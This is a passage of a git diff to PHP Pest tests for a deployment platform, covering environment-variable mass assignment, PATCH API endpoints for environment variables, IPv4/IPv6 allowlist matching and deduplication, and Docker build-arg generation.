+ // The booted() method sets version automatically, so it will be the current version
+ expect($env->version)->not->toBeNull();
+});
+
+test('mass assignment works with update method', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'initial_value',
+ 'comment' => 'Initial comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env->update([
+ 'value' => 'updated_value',
+ 'comment' => 'Updated comment',
+ 'is_literal' => true,
+ ]);
+
+ $env->refresh();
+
+ expect($env->value)->toBe('updated_value');
+ expect($env->comment)->toBe('Updated comment');
+ expect($env->is_literal)->toBeTrue();
+});
+
+test('protected attributes cannot be mass assigned', function () {
+ $customDate = '2020-01-01 00:00:00';
+
+ $env = EnvironmentVariable::create([
+ 'id' => 999999,
+ 'uuid' => 'custom-uuid',
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ 'created_at' => $customDate,
+ 'updated_at' => $customDate,
+ ]);
+
+ // id should be auto-generated, not 999999
+ expect($env->id)->not->toBe(999999);
+
+ // uuid should be auto-generated, not 'custom-uuid'
+ expect($env->uuid)->not->toBe('custom-uuid');
+
+ // Timestamps should be current, not 2020
+ expect($env->created_at->year)->toBe(now()->year);
+});
+
+test('order field can be mass assigned', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'order' => 5,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->order)->toBe(5);
+});
+
+test('is_shared field can be mass assigned', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'is_shared' => true,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Note: is_shared is also computed via accessor, but can be mass assigned
+ expect($env->is_shared)->not->toBeNull();
+});
diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php
new file mode 100644
index 000000000..9c45dc5ae
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php
@@ -0,0 +1,194 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+describe('PATCH /api/v1/services/{uuid}/envs', function () {
+ test('returns the updated environment variable object', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'old-value',
+ 'resourceable_type' => Service::class,
+ 'resourceable_id' => $service->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'new-value',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure([
+ 'uuid',
+ 'key',
+ 'is_literal',
+ 'is_multiline',
+ 'is_shown_once',
+ 'created_at',
+ 'updated_at',
+ ]);
+ $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
+ $response->assertJsonMissing(['message' => 'Environment variable updated.']);
+ });
+
+ test('returns 404 when environment variable does not exist', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'key' => 'NONEXISTENT_KEY',
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(404);
+ $response->assertJson(['message' => 'Environment variable not found.']);
+ });
+
+ test('returns 404 when service does not exist', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson('/api/v1/services/non-existent-uuid/envs', [
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(404);
+ });
+
+ test('returns 422 when key is missing', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('PATCH /api/v1/applications/{uuid}/envs', function () {
+ test('returns the updated environment variable object', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'old-value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $application->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'key' => 'APP_IMAGE_TAG',
+ 'value' => 'new-value',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure([
+ 'uuid',
+ 'key',
+ 'is_literal',
+ 'is_multiline',
+ 'is_shown_once',
+ 'created_at',
+ 'updated_at',
+ ]);
+ $response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
+ $response->assertJsonMissing(['message' => 'Environment variable updated.']);
+ });
+
+ test('returns 404 when environment variable does not exist', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'key' => 'NONEXISTENT_KEY',
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(404);
+ });
+
+ test('returns 422 when key is missing', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'value' => 'some-value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/IpAllowlistTest.php b/tests/Feature/IpAllowlistTest.php
index 959dc757d..1b14b79e8 100644
--- a/tests/Feature/IpAllowlistTest.php
+++ b/tests/Feature/IpAllowlistTest.php
@@ -86,7 +86,7 @@
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask
});
-test('IP allowlist with various subnet sizes', function () {
+test('IP allowlist with various IPv4 subnet sizes', function () {
// /32 - single host
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue();
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse();
@@ -96,16 +96,98 @@
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue();
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse();
- // /16 - class B
+ // /25 - half a /24
+ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse();
+
+ // /16
expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue();
expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue();
expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse();
+ // /12
+ expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse();
+
+ // /8
+ expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse();
+
// /0 - all addresses
expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue();
expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue();
});
+test('IP allowlist with various IPv6 subnet sizes', function () {
+ // /128 - single host
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
+
+ // /127 - point-to-point link
+ expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse();
+
+ // /64 - standard subnet
+ expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse();
+
+ // /48 - site prefix
+ expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
+
+ // /32 - ISP allocation
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse();
+
+ // /16
+ expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse();
+});
+
+test('IP allowlist with bare IPv6 addresses', function () {
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse();
+ expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse();
+});
+
+test('IP allowlist with IPv6 CIDR notation', function () {
+ // /64 prefix — issue #8729 exact case
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse();
+
+ // /128 — single host
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
+
+ // /48 prefix
+ expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
+});
+
+test('IP allowlist with mixed IPv4 and IPv6', function () {
+ $allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64'];
+
+ expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue();
+ expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue();
+ expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse();
+ expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse();
+});
+
+test('IP allowlist handles invalid IPv6 masks', function () {
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128
+ expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask
+});
+
test('IP allowlist comma-separated string input', function () {
// Test with comma-separated string (as it would come from the settings)
$allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16';
@@ -134,14 +216,21 @@
// Valid cases - should pass
expect($validate(''))->toBeTrue(); // Empty is allowed
expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed
- expect($validate('192.168.1.1'))->toBeTrue(); // Valid IP
- expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid CIDR
- expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid CIDR
+ expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4
+ expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR
+ expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR
expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs
expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs
expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet
expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet
expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces
+ // IPv6 valid cases — issue #8729
+ expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6
+ expect($validate('::1'))->toBeTrue(); // Loopback IPv6
+ expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR
+ expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR
+ expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR
+ expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR
// Invalid cases - should fail
expect($validate('1'))->toBeFalse(); // Single digit
@@ -155,6 +244,7 @@
expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format
expect($validate('192.168'))->toBeFalse(); // Incomplete IP
expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets
+ expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128
});
test('ValidIpOrCidr validation rule error messages', function () {
@@ -181,3 +271,111 @@
expect($error)->toContain('10.0.0.256');
expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error
});
+
+test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () {
+ // /24
+ expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // /16
+ expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']);
+ // /8
+ expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // /32 — same host, first entry wins (both equivalent)
+ expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']);
+ // /31 — point-to-point
+ expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']);
+ // IP outside subnet — both preserved
+ expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']);
+});
+
+test('deduplicateAllowlist removes narrow IPv4 CIDR covered by broader CIDR', function () {
+ // /32 inside /24
+ expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // /25 inside /24
+ expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // /24 inside /16
+ expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']);
+ // /16 inside /12
+ expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']);
+ // /16 inside /8
+ expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // /24 inside /8
+ expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // /12 inside /8
+ expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']);
+ // /31 inside /24
+ expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
+ // Non-overlapping CIDRs — both preserved
+ expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']);
+ expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']);
+});
+
+test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () {
+ // /64 — issue #8729 exact scenario
+ expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64']))
+ ->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']);
+ // /48
+ expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
+ // /128 — same host, first entry wins (both equivalent)
+ expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']);
+ // IP outside prefix — both preserved
+ expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48']))
+ ->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']);
+});
+
+test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () {
+ // /128 inside /64
+ expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']);
+ // /127 inside /64
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']);
+ // /64 inside /48
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
+ // /48 inside /32
+ expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
+ // /32 inside /16
+ expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']);
+ // /64 inside /32
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']);
+ // Non-overlapping IPv6 — both preserved
+ expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']);
+ expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']);
+});
+
+test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () {
+ $result = deduplicateAllowlist([
+ '192.168.1.5', // covered by 192.168.0.0/16
+ '192.168.0.0/16',
+ '2a01:e0a:21d:8230::1', // covered by ::/64
+ '2a01:e0a:21d:8230::/64',
+ '10.0.0.1', // not covered by anything
+ '::1', // not covered by anything
+ ]);
+ expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']);
+});
+
+test('deduplicateAllowlist preserves non-overlapping entries', function () {
+ $result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
+ expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
+});
+
+test('deduplicateAllowlist handles exact duplicates', function () {
+ expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']);
+ expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']);
+});
+
+test('deduplicateAllowlist handles single entry and empty array', function () {
+ expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']);
+ expect(deduplicateAllowlist([]))->toBe([]);
+});
+
+test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () {
+ $result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']);
+ expect($result)->toBe(['0.0.0.0']);
+});
+
+test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () {
+ // IPv4: three levels of nesting
+ expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
+ // IPv6: three levels of nesting
+ expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
+});
diff --git a/tests/Feature/MultilineEnvironmentVariableTest.php b/tests/Feature/MultilineEnvironmentVariableTest.php
index e32a2ce99..453e11109 100644
--- a/tests/Feature/MultilineEnvironmentVariableTest.php
+++ b/tests/Feature/MultilineEnvironmentVariableTest.php
@@ -1,144 +1,59 @@
'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true],
+ ['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true],
['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
- // SSH key should use double quotes and have proper escaping
- $sshArg = $buildArgs->first();
- expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="');
- expect($sshArg)->toEndWith('"');
- expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY');
- expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes
-
- // Regular var should use escapeshellarg (single quotes)
- $regularArg = $buildArgs->last();
- expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'");
+ // Docker gets values from the environment, so only keys should be in build args
+ expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
+ expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
});
-test('multiline variables with special bash characters are escaped correctly', function () {
- $valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`";
+test('generateDockerBuildArgs works with collection of objects', function () {
+ $variables = collect([
+ (object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
+ (object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
+ ]);
+ $buildArgs = generateDockerBuildArgs($variables);
+ expect($buildArgs)->toHaveCount(2);
+ expect($buildArgs->values()->toArray())->toBe([
+ '--build-arg VAR1',
+ '--build-arg VAR2',
+ ]);
+});
+
+test('generateDockerBuildArgs collection can be imploded into valid command string', function () {
$variables = [
- ['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true],
+ ['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false],
+ ['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false],
+ ];
+
+ $buildArgs = generateDockerBuildArgs($variables);
+
+ // The collection must be imploded to a string for command interpolation
+ // This was the bug: Collection was interpolated as JSON instead of a space-separated string
+ $argsString = $buildArgs->implode(' ');
+ expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
+
+ // Verify it does NOT produce JSON when cast to string
+ expect($argsString)->not->toContain('{');
+ expect($argsString)->not->toContain('}');
+});
+
+test('generateDockerBuildArgs handles variables without is_multiline', function () {
+ $variables = [
+ ['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
- // Verify double quotes are escaped
- expect($arg)->toContain('\\"quotes\\"');
- // Verify dollar signs are escaped
- expect($arg)->toContain('\\$variables');
- // Verify backticks are escaped
- expect($arg)->toContain('\\`backticks\\`');
-});
-
-test('single-line environment variables use escapeshellarg', function () {
- $variables = [
- ['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Should use single quotes from escapeshellarg
- expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'");
-});
-
-test('multiline certificate with newlines is preserved', function () {
- $certificate = '-----BEGIN CERTIFICATE-----
-MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
-BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
-aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF
------END CERTIFICATE-----';
-
- $variables = [
- ['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Newlines should be preserved in the output
- expect($arg)->toContain("\n");
- expect($arg)->toContain('BEGIN CERTIFICATE');
- expect($arg)->toContain('END CERTIFICATE');
- expect(substr_count($arg, "\n"))->toBeGreaterThan(0);
-});
-
-test('multiline JSON configuration is properly escaped', function () {
- $jsonConfig = '{
- "key": "value",
- "nested": {
- "array": [1, 2, 3]
- }
-}';
-
- $variables = [
- ['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // All double quotes in JSON should be escaped
- expect($arg)->toContain('\\"key\\"');
- expect($arg)->toContain('\\"value\\"');
- expect($arg)->toContain('\\"nested\\"');
-});
-
-test('empty multiline variable is handled correctly', function () {
- $variables = [
- ['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- expect($arg)->toBe('--build-arg EMPTY_VAR=""');
-});
-
-test('multiline variable with only newlines', function () {
- $onlyNewlines = "\n\n\n";
-
- $variables = [
- ['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- expect($arg)->toContain("\n");
- // Should have 3 newlines preserved
- expect(substr_count($arg, "\n"))->toBe(3);
-});
-
-test('multiline variable with backslashes is escaped correctly', function () {
- $valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32";
-
- $variables = [
- ['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
- // Backslashes should be doubled
- expect($arg)->toContain('path\\\\to\\\\file');
- expect($arg)->toContain('C:\\\\Windows\\\\System32');
+ expect($arg)->toBe('--build-arg NO_FLAG_VAR');
});
test('generateDockerEnvFlags produces correct format', function () {
@@ -155,54 +70,14 @@
expect($envFlags)->toContain('line2');
});
-test('helper functions work with collection input', function () {
+test('generateDockerEnvFlags works with collection input', function () {
$variables = collect([
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
]);
- $buildArgs = generateDockerBuildArgs($variables);
- expect($buildArgs)->toHaveCount(2);
-
$envFlags = generateDockerEnvFlags($variables);
expect($envFlags)->toBeString();
expect($envFlags)->toContain('-e VAR1=');
expect($envFlags)->toContain('-e VAR2="');
});
-
-test('variables without is_multiline default to false', function () {
- $variables = [
- ['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
- ];
-
- $buildArgs = generateDockerBuildArgs($variables);
- $arg = $buildArgs->first();
-
